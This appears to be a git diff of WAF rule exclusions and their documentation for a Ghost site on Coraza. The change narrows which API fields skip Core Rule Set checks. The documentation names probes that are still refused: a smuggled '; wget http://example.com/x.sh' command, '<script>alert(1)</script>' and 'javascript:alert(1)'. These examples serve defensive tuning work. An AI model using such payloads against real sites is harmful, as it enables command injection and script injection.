Compare commits
1
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
4228f0ac9f |
No files matched your search
@@ -609,9 +609,10 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
||||||
its searches, its file names, its account names, its comments and its
|
its searches, its file names, its account names, its comments and its
|
||||||
documents;
|
documents;
|
||||||
- `ghost`, whose fixes let through the text its admin and members type, its
|
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
||||||
analytics, its code injection, ActivityPub and a post saved from its
|
email addresses, its code injection, its settings, its analytics, its
|
||||||
editor, HTML included.
|
members' comments, ActivityPub and a post saved from its editor, HTML
|
||||||
|
included.
|
||||||
- A random password, as a password manager makes one, gets through these forms:
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
- signing in, signing up, and changing or resetting a password, on
|
- signing in, signing up, and changing or resetting a password, on
|
||||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
||||||
|
|||||||
@@ -1750,30 +1750,29 @@ under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
|
|||||||
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
|
`/ghost/api/content/`, and members call `/members/api/`. The admin calls
|
||||||
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
|
ActivityPub, a service of its own, under `/.ghost/activitypub/`.
|
||||||
|
|
||||||
Eight rules refused words that name commands and files, such as `python3`,
|
The rules of plain text are 930120, 932120, 932125, 932230, 932235, 932250,
|
||||||
`ls -la`, `.htaccess` and the title `powershell & python3`. They are 930120,
|
932260 and 932380. They refused words that name commands and files, such as
|
||||||
932120, 932125, 932230, 932235, 932250, 932260 and 932380.
|
`python3`, `ls -la` and `.htaccess`, and titles such as `powershell & python3`.
|
||||||
|
|
||||||
These query fields skip some rules:
|
These query fields skip some rules:
|
||||||
|
|
||||||
- `filter`, a query in Ghost's own filter language, skips those eight rules
|
- `filter`, a query in Ghost's own filter language, skips the rules of plain
|
||||||
except 930120, on the Admin API and the Content API;
|
text except 930120, on the Admin API and the Content API;
|
||||||
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
- `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
|
||||||
the Admin API;
|
the Admin API;
|
||||||
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
- `url`, the address the editor looks up for an embed or a bookmark, skips
|
||||||
930120 and 932120;
|
930120 and 932120;
|
||||||
- `source` and the `utm_` fields, which filter the analytics, skip those eight
|
- `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
|
||||||
rules under `/ghost/api/admin/stats/`;
|
the rules of plain text under `/ghost/api/admin/stats/`;
|
||||||
- `pathname`, the page the analytics show, skips 930120, 932120 and 932260
|
|
||||||
there;
|
|
||||||
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
- `email_segment`, the members a post is sent to as a newsletter, skips 932120
|
||||||
on the Admin API's posts;
|
on the Admin API's posts;
|
||||||
- `query`, a search for an account in ActivityPub, skips those eight rules;
|
- `query`, a search for an account in ActivityPub, skips the rules of plain
|
||||||
|
text;
|
||||||
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
|
- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
|
||||||
|
|
||||||
The fields of JSON bodies where a person types plain text skip those eight
|
The fields of JSON bodies where a person types plain text skip the rules of
|
||||||
rules. They are these fields of posts, pages, tags, labels, members, newsletters
|
plain text. They are these fields of posts, pages, tags, labels, members,
|
||||||
and snippets, on the Admin API:
|
newsletters and snippets, on the Admin API:
|
||||||
|
|
||||||
- `title`, `name` and `slug`;
|
- `title`, `name` and `slug`;
|
||||||
- a post's `tags` and a member's `labels`, by name or slug;
|
- a post's `tags` and a member's `labels`, by name or slug;
|
||||||
@@ -1796,38 +1795,14 @@ These fields skip them on their own paths:
|
|||||||
- a member's `name` at `/members/api/`;
|
- a member's `name` at `/members/api/`;
|
||||||
- `html` of a member's comment at `/members/api/comments/`;
|
- `html` of a member's comment at `/members/api/comments/`;
|
||||||
- `labels`, when the admin imports members from a CSV file;
|
- `labels`, when the admin imports members from a CSV file;
|
||||||
- `content` of a note or a reply in ActivityPub, and `image.altText`, the
|
- in ActivityPub, `content` of a note or a reply, and `name`, `username` and
|
||||||
description of its image;
|
`bio` of the account.
|
||||||
- `name`, `username` and `bio` of the account in ActivityPub.
|
|
||||||
|
|
||||||
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
|
A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
|
||||||
the admin adds or edits a member. A staff user's address skips them too. It is
|
the admin adds or edits a member. A staff user's address skips them too:
|
||||||
sent as `username` when signing in, and as `email` in these requests:
|
`username` when signing in, and `email` when creating the first staff user,
|
||||||
|
asking for a password reset, saving a profile, inviting a staff user or
|
||||||
- creating the first staff user;
|
accepting an invitation.
|
||||||
- asking for a password reset;
|
|
||||||
- saving a profile;
|
|
||||||
- inviting a staff user;
|
|
||||||
- accepting an invitation.
|
|
||||||
|
|
||||||
In ActivityPub, an account's handle and its address skip 930120 and 932120. The
|
|
||||||
domain of the site's handle skips 930120, 932120 and 932260. Each field skips
|
|
||||||
its rules only on its own path:
|
|
||||||
|
|
||||||
- `sourceHandle`, an account that moves here, when it is added at
|
|
||||||
`/.ghost/activitypub/v1/aliases`;
|
|
||||||
- `actorUri`, that account's address, when the admin removes it there;
|
|
||||||
- `targetHandle`, the account this one moves to, at
|
|
||||||
`/.ghost/activitypub/v1/migration`;
|
|
||||||
- `domain`, saved at `/.ghost/activitypub/v1/domain` and checked at
|
|
||||||
`/.ghost/activitypub/v1/domain/validate`.
|
|
||||||
|
|
||||||
The `canonical_url` of a post, a page or a tag skips 930120 and 932120, as `url`
|
|
||||||
does. Each skips them only on its own path:
|
|
||||||
|
|
||||||
- a post's under `/ghost/api/admin/posts/`;
|
|
||||||
- a page's under `/ghost/api/admin/pages/`;
|
|
||||||
- a tag's under `/ghost/api/admin/tags/`.
|
|
||||||
|
|
||||||
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
The articles carry HTML on purpose. These fields on the Admin API hold them:
|
||||||
|
|
||||||
@@ -1852,32 +1827,18 @@ These fields on the Admin API hold it:
|
|||||||
|
|
||||||
Code injection skips these rules:
|
Code injection skips these rules:
|
||||||
|
|
||||||
- 930120, 932120, 932125, 932230, 932235, 932250, 932260 and 932380, which
|
- the rules of plain text except 932235;
|
||||||
refused words that name commands and files, such as the site's title
|
|
||||||
`powershell & python3`;
|
|
||||||
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
- 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
|
||||||
elements.
|
elements.
|
||||||
|
|
||||||
A `<script>` element skips 941110 in posts, pages and code injection, so an HTML
|
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
|
||||||
card can embed a widget and code injection can load analytics. These are the
|
articles and code injection (941110, 941170 and 941210). Path traversal and SQL
|
||||||
fields, on the Admin API:
|
injection are still refused in every field above. Script injection is too,
|
||||||
|
outside the articles.
|
||||||
|
|
||||||
- `lexical`, `mobiledoc` and `html` of posts and pages;
|
`; wget http://example.com/x.sh` is still refused in the addresses, `search`,
|
||||||
- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
|
`url`, `email_segment` and `email`. The plain text, the articles and the other
|
||||||
- `value` of settings.
|
query fields skip 932235, which refuses it, since 932235 also refuses
|
||||||
|
|
||||||
`<script>alert(1)</script>` is still refused in snippets and newsletters.
|
|
||||||
`javascript:alert(1)` is still refused in the articles and code injection
|
|
||||||
(941170 and 941210). Path traversal and SQL injection are still refused in every
|
|
||||||
field above. Script injection is too, outside the articles and code injection.
|
|
||||||
|
|
||||||
`; wget http://example.com/x.sh` is still refused in these fields:
|
|
||||||
|
|
||||||
- the addresses, the handles and the domain;
|
|
||||||
- the `canonical_url` of posts, pages and tags;
|
|
||||||
- `search`, `url`, `pathname`, `email_segment` and `email`.
|
|
||||||
|
|
||||||
The other fields above skip 932235, which refuses that command but also refuses
|
|
||||||
`powershell & python3`.
|
`powershell & python3`.
|
||||||
|
|
||||||
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
|
||||||
|
|||||||
+38
-131
@@ -57,35 +57,25 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
|||||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
||||||
|
|
||||||
# The query fields that filter the analytics skip the eight rules that 900353
|
# The query fields of the analytics pages skip the eight rules of plain text,
|
||||||
# lists, on /ghost/api/admin/stats/:
|
# which 900353 lists, on /ghost/api/admin/stats/:
|
||||||
|
# 930120: pathname=/.htaccess
|
||||||
# 932120: source=powershell.example.com
|
# 932120: source=powershell.example.com
|
||||||
# 932235, 932260: utm_campaign=powershell & python3
|
# 932235, 932260: utm_campaign=powershell & python3
|
||||||
# 932250: utm_term=ls -la
|
# 932250: utm_term=ls -la
|
||||||
# These fields filter the figures by the site a visit came from, or a
|
# These fields filter the figures by a page, the site a visit came from, or a
|
||||||
# campaign: source, utm_source, utm_medium, utm_campaign, utm_content and
|
# campaign: pathname, source, utm_source, utm_medium, utm_campaign,
|
||||||
# utm_term.
|
# utm_content and utm_term.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
||||||
"id:900367,phase:1,pass,nolog,\
|
"id:900367,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932235;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:source|utm_(?:source|medium|campaign|content|term))$/"
|
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pathname|source|utm_(?:source|medium|campaign|content|term))$/"
|
||||||
|
|
||||||
# pathname, the page the analytics show, skips three rules on
|
|
||||||
# /ghost/api/admin/stats/, which refused the path of a post and of tag pages:
|
|
||||||
# 930120: pathname=/tag/proc/
|
|
||||||
# 932120: pathname=/python3-and-powershell/
|
|
||||||
# 932260: pathname=/tag/python3/
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/stats/" \
|
|
||||||
"id:900385,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:pathname,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:pathname,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:pathname"
|
|
||||||
|
|
||||||
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
# email_segment, the members a post is sent to as a newsletter, skips 932120
|
||||||
# on the Admin API's posts: email_segment=label:powershell-users.
|
# on the Admin API's posts: email_segment=label:powershell-users.
|
||||||
@@ -93,8 +83,8 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
|||||||
"id:900368,phase:1,pass,nolog,\
|
"id:900368,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
|
ctl:ruleRemoveTargetById=932120;ARGS:email_segment"
|
||||||
|
|
||||||
# query, a search for an account in ActivityPub, skips the eight rules that
|
# query, a search for an account in ActivityPub, skips the eight rules of plain
|
||||||
# 900353 lists: query=python3, query=@powershell@example.com.
|
# text: query=python3, query=@powershell@example.com.
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
||||||
"id:900369,phase:1,pass,nolog,\
|
"id:900369,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
ctl:ruleRemoveTargetById=930120;ARGS:query,\
|
||||||
@@ -106,8 +96,8 @@ SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/actions/search" \
|
|||||||
ctl:ruleRemoveTargetById=932260;ARGS:query,\
|
ctl:ruleRemoveTargetById=932260;ARGS:query,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:query"
|
ctl:ruleRemoveTargetById=932380;ARGS:query"
|
||||||
|
|
||||||
# The fields a person types plain text into skip eight rules on the Admin API,
|
# The fields a person types plain text into skip eight rules, the rules of
|
||||||
# which refused words that name commands and files:
|
# plain text, on the Admin API:
|
||||||
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
||||||
# 932120: the page's slug about-python3-powershell-htaccess
|
# 932120: the page's slug about-python3-powershell-htaccess
|
||||||
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
||||||
@@ -201,26 +191,23 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
|
|||||||
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
|
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:labels"
|
ctl:ruleRemoveTargetById=932380;ARGS:labels"
|
||||||
|
|
||||||
# In ActivityPub, a note's or a reply's text and the description of its image,
|
# In ActivityPub, a note's or a reply's content and an account's name, username
|
||||||
# and an account's name, username and bio, skip the same eight rules. They
|
# and bio skip the same eight rules, which refused "Trying python3 & powershell"
|
||||||
# refused "Trying python3 & powershell", the image's description "A terminal
|
# and the bio "ls -la and .htaccess tips". Each field skips them on its own path:
|
||||||
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
|
# content, posting a note at /.ghost/activitypub/v1/actions/note or a reply
|
||||||
# tips". Each field skips them on its own path:
|
# under /.ghost/activitypub/v1/actions/reply/
|
||||||
# content and image.altText, posting a note at
|
|
||||||
# /.ghost/activitypub/v1/actions/note or a reply under
|
|
||||||
# /.ghost/activitypub/v1/actions/reply/
|
|
||||||
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
|
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
|
||||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
|
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
|
||||||
"id:900373,phase:1,pass,nolog,chain"
|
"id:900373,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.content$/ "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.content$/,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.content$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.content$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.content$/,\
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.content$/,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.content$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.content$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.content$/"
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
|
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
|
||||||
"id:900374,phase:1,pass,nolog,chain"
|
"id:900374,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
|
||||||
@@ -309,39 +296,6 @@ SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
||||||
|
|
||||||
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
|
|
||||||
# They refused the handles @erin.htaccess@example.com and
|
|
||||||
# @powershell@example.com, and the addresses
|
|
||||||
# https://example.com/users/erin.htaccess and
|
|
||||||
# https://example.com/users/powershell. A handle starts with an @, so 932260
|
|
||||||
# does not refuse @python3.dev@example.com. The domain of the site's handle
|
|
||||||
# skips the same three rules as an email address, which refused
|
|
||||||
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
|
||||||
# Each of these fields skips them only on its own path:
|
|
||||||
# sourceHandle, an account that moves here, added at
|
|
||||||
# /.ghost/activitypub/v1/aliases
|
|
||||||
# actorUri, that account's address, when the admin removes it there
|
|
||||||
# targetHandle, the account this one moves to, at
|
|
||||||
# /.ghost/activitypub/v1/migration
|
|
||||||
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
|
||||||
# /.ghost/activitypub/v1/domain/validate
|
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
|
||||||
"id:900379,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
|
||||||
"id:900380,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
|
|
||||||
"id:900381,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
|
|
||||||
|
|
||||||
# The articles skip these rules on the Admin API:
|
# The articles skip these rules on the Admin API:
|
||||||
# 930120: ls -la /var/www/html/.htaccess in a code block
|
# 930120: ls -la /var/www/html/.htaccess in a code block
|
||||||
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||||
@@ -363,8 +317,8 @@ SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
|
|||||||
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
# snippets.<n>.lexical and snippets.<n>.mobiledoc, a part of a post saved for
|
||||||
# reuse
|
# reuse
|
||||||
# newsletters.<n>.footer_content, the footer of a newsletter
|
# newsletters.<n>.footer_content, the footer of a newsletter
|
||||||
# A javascript: link (941170, 941210) is still refused in them. A <script>
|
# A <script> element (941110) and a javascript: link (941170, 941210) are still
|
||||||
# element (941110) passes only in posts and pages, by 900366.
|
# refused in them.
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
"id:900355,phase:1,pass,nolog,chain"
|
"id:900355,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html)|snippets\.\d+\.(?:lexical|mobiledoc)|newsletters\.\d+\.footer_content)$/ "@eq 0" \
|
||||||
@@ -388,15 +342,13 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
|
|
||||||
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
||||||
# the site's settings, which hold the site-wide code injection besides the
|
# the site's settings, which hold the site-wide code injection besides the
|
||||||
# title and the description, skip the eight rules that 900353 lists and these:
|
# title and the description, skip the rules of plain text above and these:
|
||||||
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
||||||
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
||||||
# 932235, one of the eight, refused the site's title "powershell & python3".
|
|
||||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
# These fields hold it, and skip the rules anywhere on the Admin API:
|
||||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||||
# settings.<n>.value, the value of a setting
|
# settings.<n>.value, the value of a setting
|
||||||
# A javascript: link is still refused in them, and a <script> element passes
|
# A <script> element and a javascript: link are still refused in them.
|
||||||
# by 900366.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||||
"id:900356,phase:1,pass,nolog,chain"
|
"id:900356,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/ "@eq 0" \
|
||||||
@@ -405,7 +357,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
@@ -413,38 +364,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|||||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/"
|
||||||
|
|
||||||
# A <script> element skips 941110 in posts, pages and code injection, on the
|
|
||||||
# Admin API, which refused:
|
|
||||||
# an HTML card that embeds a widget with its script
|
|
||||||
# code injection that loads analytics,
|
|
||||||
# <script defer src="https://analytics.example.com/script.js"></script>
|
|
||||||
# These fields take a <script> element on purpose:
|
|
||||||
# posts.<n>.lexical, mobiledoc and html, and the same fields of pages
|
|
||||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
|
||||||
# settings.<n>.value, the value of a setting
|
|
||||||
# Snippets and a newsletter's footer still refuse it.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900366,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=941110;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.(?:lexical|mobiledoc|html|codeinjection_(?:head|foot))|settings\.\d+\.value)$/"
|
|
||||||
|
|
||||||
# The canonical URL of a post or a page skips the two rules that url skips:
|
|
||||||
# 930120: https://example.com/blog/.htaccess/
|
|
||||||
# 932120: https://example.com/blog/powershell/
|
|
||||||
# Each of these fields skips them only on its own path:
|
|
||||||
# posts.<n>.canonical_url, under /ghost/api/admin/posts/
|
|
||||||
# pages.<n>.canonical_url, under /ghost/api/admin/pages/
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/posts/" \
|
|
||||||
"id:900383,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.posts\.\d+\.canonical_url$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.posts\.\d+\.canonical_url$/,\
|
|
||||||
